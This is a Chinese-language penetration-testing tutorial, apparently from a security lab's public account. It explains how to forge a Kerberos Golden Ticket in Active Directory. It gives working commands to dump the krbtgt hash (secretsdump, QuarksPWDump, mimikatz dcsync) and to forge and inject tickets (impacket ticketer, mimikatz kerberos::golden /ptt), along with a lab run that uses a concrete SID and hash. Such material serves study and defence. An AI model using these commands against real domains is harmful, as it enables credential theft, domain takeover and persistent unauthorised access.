一、基础知识
1. 票据原理
伪造TGT,不需要和KDC进行校验,金票可以直接在本地生成,在域内机器和非域内机器都可以使用
2. 作用
可用于横向移动、权限维持
3. 利用条件
- 需要知道KDC密钥分发中心账户Krbtgt的hash(最核心,最重要的条件)
krbtgt是域用户,不是域控上的本地用户所以存储不在域控的SAM文件中,而是在ntds文件中
获取krbtgt的hash值,该值的方式有两种:
(1)控制了域控然后查询
使用卷影拷贝技术离线读取或者在线读取
使用secretsdump工具,命令:secretsdump.exe 域名/administrator:密码@IP
QuarksPWDump工具,命令:QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit(Ntds这个文件必须先要导出)
mimikatz工具,命令:lsadump::dcsync /domian:域名 /user:krbtgt
(2)通过dsync查询 milikatz->lsadump::dcsync /domian:域名 /user:krbtgt
注:dcsync技术必须有administrator组内用户、Domain Admins组内用户、Enterprise Admins组内用户、域控制器的计算机账户以及域控的Administrator和system的支持
- 需要知道域名
命令:system
- 需要知道SID值
获取SID值,命令:whoami /all
- 伪造的用户(一般都是管理员权限)
二、制作&使用
1. impacket中的工具ticketer(该工具是本地生成的)
命令:ticketer -domain-sid sid值 -nthash krbtgt-hash -domain 域名 伪造的用户
2. mimikatz直接生成然后导入到内存中
命令:Kerberos::golden /user:administrator /domain:域名 /sid:SID值 /krbtgt:NTLM-HASH /ptt(后面如果携带ptt就会自动注入到内存,如果不携带就会在本地生成)
三、实验操作
1. 信息收集
域控:win server 2012 R2
域内机:Win 7
根据上面所讲述的,这里制作黄金票据需要先收集有SID值、krbtgt的hash值以及域名
获取SID值:
获取域名
获取krbtgt的hash值
2. 生成票据&利用
前期我们已经拿到制作票据需要的信息,然后换到一台普通的域内机器,这里我直接使用mimikatz来生成票据:
Kerberos::golden /user:administrator /domain:xiaodi.local /sid:S-1-5-21-1695257952-3088263962-2055235443 /krbtgt:558ae7f88589153355cbeb046ac696df /ptt
然后使用命令klist,可以查看生成的票据
3. 访问测试
这时候黄金票据已经成功生成,直接去访问域控的c盘,验证一下
成功访问域控
本文所涉及到的工具,关注公众号【404攻防实验室】,回复666,即可得到本文实验工具